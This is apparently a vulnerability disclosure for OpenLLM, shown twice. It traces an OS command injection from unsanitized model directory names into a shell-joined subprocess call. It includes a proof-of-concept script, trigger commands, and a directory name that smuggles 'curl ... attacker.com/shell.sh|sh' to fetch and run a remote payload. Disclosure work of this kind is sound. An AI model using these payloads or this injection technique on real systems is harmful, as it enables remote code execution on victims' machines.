Describe the bug
Summary
OpenLLM uses asyncio.create_subprocess_shell to launch model servers, constructing the shell command by joining a Python list into a single string with ' '.join(...). Model version and name identifiers are taken directly from directory names in a cloned model repository without any sanitization. An attacker who controls a model repository can name a directory to contain shell metacharacters (for example ;, $(), `), causing arbitrary commands to execute on the victim's machine when the victim runs openllm run or openllm serve using the attacker-controlled repository.
Details
The root cause is in src/openllm/common.py at the async_run_command function (lines 425-431):
proc = await asyncio.create_subprocess_shell(
' '.join(map(str, cmd)),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
cwd=cwd,
env=env,
)
The cmd list is joined into a single string and handed to a shell interpreter. Any shell metacharacters present in the joined string are evaluated by the shell.
The cmd list is built in src/openllm/local.py at _get_serve_cmd (lines 31-44):
def _get_serve_cmd(bento, port=3000, cli_args=None):
cmd = ['bentoml', 'serve', bento.bentoml_tag]
if port != 3000:
cmd += ['--port', str(port)]
if cli_args:
for arg in cli_args:
cmd += ['--arg', arg]
return cmd, EnvVars(...)
bento.bentoml_tag is defined in src/openllm/common.py (line 179):
@property
def bentoml_tag(self) -> str:
return f'{self.path.parent.name}:{self.path.name}'
self.path is a pathlib.Path pointing to the directory of the model version inside the cloned repository. self.path.parent.name is the model name directory and self.path.name is the version directory. Neither is sanitized or quoted before being inserted into the list that is subsequently joined for the shell.
The contrast with safe usage is visible in the same function: the shlex.quote call at line 405 is used only for cosmetic display output, not for the actual subprocess invocation:
output(f'$ export {k}={shlex.quote(v)}', style='orange') # display only -- not the real command
The synchronous run_command function (also in common.py) uses subprocess.run(cmd, ...) with a list (no shell=True), so it is not vulnerable. Only async_run_command, called exclusively from the openllm run path, is affected.
To reproduce
Attack path
- Attacker publishes a public git repository (as required by OpenLLM's documented custom repo feature) containing a model directory named with shell metacharacters, for example:
bentoml/bentos/evilmodel/1.0;curl${IFS}attacker.com/shell.sh|sh;echo/bento.yaml.
- Victim adds the repository:
openllm repo add attacker https://github.com/attacker/evil-models
- OpenLLM clones the repository.
- Victim runs:
openllm run evilmodel
list_bento discovers the directory and constructs a BentoInfo with the malicious directory name as the version component of bentoml_tag.
_run_model calls async_run_command with a cmd list containing evilmodel:1.0;curl${IFS}attacker.com/shell.sh|sh;echo.
' '.join(cmd) produces a shell string with an embedded ;, splitting into multiple shell commands.
- The shell executes the attacker's payload.
Note: because filesystem path components cannot contain /, payloads using absolute paths must be constructed using shell variables ($HOME, $PWD) or indirect redirection. The proof-of-concept uses a relative path and a double-semicolon terminator to isolate the injected command from trailing arguments appended by OpenLLM.
PoC
Prerequisites: a Linux or macOS machine with OpenLLM installed, Python 3.9+.
Step 1. Create the malicious repository structure locally (in a real attack this would be a hosted git repo):
import os
REPO_PATH = '/tmp/evil_openllm_repo'
malicious_version = '1.0;whoami>pwned;echo'
version_dir = os.path.join(REPO_PATH, 'bentoml', 'bentos', 'evilmodel', malicious_version)
os.makedirs(version_dir, exist_ok=True)
bento_yaml = (
'name: evilmodel\n'
'version: "1.0"\n'
'labels:\n platforms: linux\n'
'envs: []\n'
'services:\n - name: svc\n config:\n resources:\n gpu: 0\n gpu_type: ""\n'
'schema:\n routes: []\n'
'image:\n python_version: "3.12"\n'
)
with open(os.path.join(version_dir, 'bento.yaml'), 'w') as f:
f.write(bento_yaml)
req_dir = os.path.join(version_dir, 'env', 'python')
os.makedirs(req_dir, exist_ok=True)
with open(os.path.join(req_dir, 'requirements.txt'), 'w') as f:
f.write('')
Step 2. Run openllm using the malicious repository (OPENLLM_TEST_REPO simulates openllm repo add; a real attack uses the normal add+update workflow):
rm -f pwned
cd /tmp
OPENLLM_TEST_REPO=/tmp/evil_openllm_repo openllm run evilmodel
Step 3. Observe that id ran and wrote to disk:
Expected output from the OpenLLM CLI confirming the injected tag is executed as a shell command:
Found model evilmodel:1.0;whoami>pwned;echo
$ bentoml serve evilmodel:1.0;whoami>pwned;echo --port 33462
Model server started 550043
Live-validated on commit ec2355c, Python 3.12.3, Ubuntu 24.04.
Logs
Environment
Affected Versions: all versions through commit ec2355c (latest main as of 2026-06-02)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-78 -- Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
System information (Optional)
As disclosed via email previously (no acknowledgement received)
Describe the bug
Summary
OpenLLM uses
asyncio.create_subprocess_shellto launch model servers, constructing the shell command by joining a Python list into a single string with' '.join(...). Model version and name identifiers are taken directly from directory names in a cloned model repository without any sanitization. An attacker who controls a model repository can name a directory to contain shell metacharacters (for example;,$(),`), causing arbitrary commands to execute on the victim's machine when the victim runsopenllm runoropenllm serveusing the attacker-controlled repository.Details
The root cause is in
src/openllm/common.pyat theasync_run_commandfunction (lines 425-431):The
cmdlist is joined into a single string and handed to a shell interpreter. Any shell metacharacters present in the joined string are evaluated by the shell.The
cmdlist is built insrc/openllm/local.pyat_get_serve_cmd(lines 31-44):bento.bentoml_tagis defined insrc/openllm/common.py(line 179):self.pathis apathlib.Pathpointing to the directory of the model version inside the cloned repository.self.path.parent.nameis the model name directory andself.path.nameis the version directory. Neither is sanitized or quoted before being inserted into the list that is subsequently joined for the shell.The contrast with safe usage is visible in the same function: the
shlex.quotecall at line 405 is used only for cosmetic display output, not for the actual subprocess invocation:The synchronous
run_commandfunction (also in common.py) usessubprocess.run(cmd, ...)with a list (no shell=True), so it is not vulnerable. Onlyasync_run_command, called exclusively from theopenllm runpath, is affected.To reproduce
Attack path
bentoml/bentos/evilmodel/1.0;curl${IFS}attacker.com/shell.sh|sh;echo/bento.yaml.openllm repo add attacker https://github.com/attacker/evil-modelsopenllm run evilmodellist_bentodiscovers the directory and constructs aBentoInfowith the malicious directory name as the version component ofbentoml_tag._run_modelcallsasync_run_commandwith a cmd list containingevilmodel:1.0;curl${IFS}attacker.com/shell.sh|sh;echo.' '.join(cmd)produces a shell string with an embedded;, splitting into multiple shell commands.Note: because filesystem path components cannot contain
/, payloads using absolute paths must be constructed using shell variables ($HOME,$PWD) or indirect redirection. The proof-of-concept uses a relative path and a double-semicolon terminator to isolate the injected command from trailing arguments appended by OpenLLM.PoC
Prerequisites: a Linux or macOS machine with OpenLLM installed, Python 3.9+.
Step 1. Create the malicious repository structure locally (in a real attack this would be a hosted git repo):
Step 2. Run openllm using the malicious repository (OPENLLM_TEST_REPO simulates
openllm repo add; a real attack uses the normal add+update workflow):Step 3. Observe that
idran and wrote to disk:Expected output from the OpenLLM CLI confirming the injected tag is executed as a shell command:
Live-validated on commit ec2355c, Python 3.12.3, Ubuntu 24.04.
Logs
Environment
Affected Versions: all versions through commit ec2355c (latest main as of 2026-06-02)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-78 -- Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
System information (Optional)
As disclosed via email previously (no acknowledgement received)